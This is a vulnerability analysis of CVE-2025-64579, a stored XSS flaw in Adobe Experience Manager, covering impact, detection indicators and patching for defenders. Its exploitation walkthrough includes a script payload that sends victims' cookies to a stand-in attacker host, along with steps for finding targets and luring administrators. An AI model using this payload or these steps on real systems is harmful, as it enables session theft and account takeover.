CVE-2025-64579: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64579 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with Adobe publishing the advisory (APSB25-115) and NVD recording it on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is persisted server-side and executes in the browser of any victim who subsequently visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) but no elevated privileges beyond a standard low-privilege account. Attack patterns associated with this vulnerability include CAPEC-592 (Stored XSS) and CAPEC-588 (DOM-Based XSS) (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope (S:C in the CVSS vector) indicates the impact extends beyond the vulnerable component itself, affecting other users and potentially the broader AEM environment. Confidentiality and integrity are both partially compromised, though availability is not directly impacted (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privilege access: Register or obtain credentials for a low-privileged AEM author or contributor account, as the vulnerability requires authentication.
3. Identify vulnerable form fields: Navigate AEM authoring interfaces to locate form fields that accept and store user-supplied input without adequate sanitization (e.g., content fragment fields, page properties, or custom form components).
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., AEM administrator) to browse the page containing the injected content, causing the malicious script to execute in their browser session.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further account takeover or lateral movement (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /api/assets/) from low-privileged accounts containing HTML/JavaScript tags or encoded script payloads in request bodies.
• File System / Repository: Unexpected <script> tags or JavaScript URIs stored within JCR (Java Content Repository) nodes, particularly in page properties or form field values.
• Network: Outbound browser-initiated requests from AEM page visitors to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints), visible in proxy or WAF logs.
• Process/Application: AEM error logs recording sanitization failures or unexpected content rendering warnings related to user-supplied input fields.

Adobe has released patches addressing CVE-2025-64579 in AEM 6.5.24.0 (for on-premises deployments) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict authoring access to trusted users only and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads in AEM form submissions. Review and audit stored content in AEM repositories for any pre-existing injected scripts (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including this XSS issue, recommending prompt patching (CIS Advisory). No significant independent researcher commentary or notable social media discussion specific to CVE-2025-64579 has been identified beyond standard vulnerability tracking coverage.